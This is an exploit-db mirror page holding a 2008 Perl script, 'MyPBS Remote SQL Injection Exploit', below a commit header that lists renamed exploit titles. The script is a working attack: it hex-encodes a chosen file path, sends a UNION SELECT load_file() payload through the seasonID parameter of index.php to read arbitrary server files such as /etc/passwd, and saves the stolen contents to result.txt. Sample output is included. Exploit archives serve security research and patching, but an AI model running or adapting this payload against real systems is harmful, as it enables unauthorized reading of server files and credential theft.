exploit-db-mirror/platforms/php/webapps/7522.pl
Offensive Security 477bcbdcc0 DB: 2016-03-17
5 new exploits

phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit
phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities

My Book World Edition NAS Multiple Vulnerability
My Book World Edition NAS - Multiple Vulnerabilities

Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL
Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities

cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities

DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php)
DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities

Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability
Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities

New-CMS - Multiple Vulnerability
New-CMS - Multiple Vulnerabilities

Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities

JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities

i-Gallery - Multiple Vulnerability
i-Gallery - Multiple Vulnerabilities

My Kazaam Notes Management System Multiple Vulnerability
My Kazaam Notes Management System - Multiple Vulnerabilities

Omnidocs - Multiple Vulnerability
Omnidocs - Multiple Vulnerabilities

Web Cookbook Multiple Vulnerability
Web Cookbook - Multiple Vulnerabilities

KikChat - (LFI/RCE) Multiple Vulnerability
KikChat - (LFI/RCE) Multiple Vulnerabilities

Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

109 lines
2.4 KiB
Perl
Executable file

#!/usr/bin/perl
################################
## Coded by Piker [piker(dot)ther00t(at)gmail(dot)com]
## D.O.M Team
## piker,ka0x,an0de,xarnuz
## 2008 Security Researchers
################################
##
## MyPBS Remote SQL Injection Exploit
##
## This exploit tries to read an
## arbitrary file.
##
################################
# piker@domlabs:~/advisories$ perl mypbs.pl http://localhost/mypbs /etc/passwd
#[+] File HEX: 0x2f6574632f706173737764
#[+] Host: http://localhost/mypbs/
#[+] File content:
#daemon:x:1:1:daemon:/usr/sbin:/bin/sh
#bin:x:2:2:bin:/bin:/bin/sh
#sys:x:3:3:sys:/dev:/bin/sh
#sync:x:4:65534:sync:/bin:/bin/sync
#games:x:5:60:games:/usr/games:/bin/sh
# [...]
#[+] EOF
#
#
use LWP::UserAgent;
open(FILE, ">&STDOUT");
my $host = $ARGV[0];
my $file = $ARGV[1];
die &_USO unless $ARGV[1];
sub _USO
{
die "
MyPBS Remote SQL Injection Exploit
This exploit tries to read an
arbitrary file.
usage: ./$0 <host> <file_you_want>
ex: ./$0 http://localhost/mypbs/ /etc/passwd
";
}
my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
my $tmp="0x";
my $tmp2;
foreach my $c (split(//, $file)){
$tmp2 = sprintf ("%x", ord($c));
$tmp .= $tmp2;
}
print FILE "[+] File HEX: ".$tmp."\n";
if ($host !~ /\/$/){ $host .= "/"; }
print FILE "[+] Host: ".$host."\n";
my $req = HTTP::Request->new(GET => $host."index.php?seasonID=-1 union all select CONCAT(0x3c46494c453e,load_file(".$tmp."),0x3c46494c453e)");
my $res = $ua->request($req);
my $con = $res->content;
my $ok = 0;
open (OUT, ">result.txt");
if ($res->is_success){
foreach my $linea (split(/\n/, $con)){
if($ok == 1){
if ($linea !~ /<FILE>/){
print FILE $linea."\n";
print OUT $linea."\n";
}else{
print FILE "\n[+] EOF\n";
print "\n[+] File saved into 'result.txt'\n";
goto salida;
}
}
if($linea =~ /<FILE>/i && $ok == 0){
$ok = 1;
print FILE "[+] File content: \n";
}
}
salida:
if ($ok == 0){
print FILE "[-] Exploit Failed!";
}
}
else{
print FILE "[-] Exploit Failed!";
}
close(FILE);
close(OUT);
#EOF
# milw0rm.com [2008-12-19]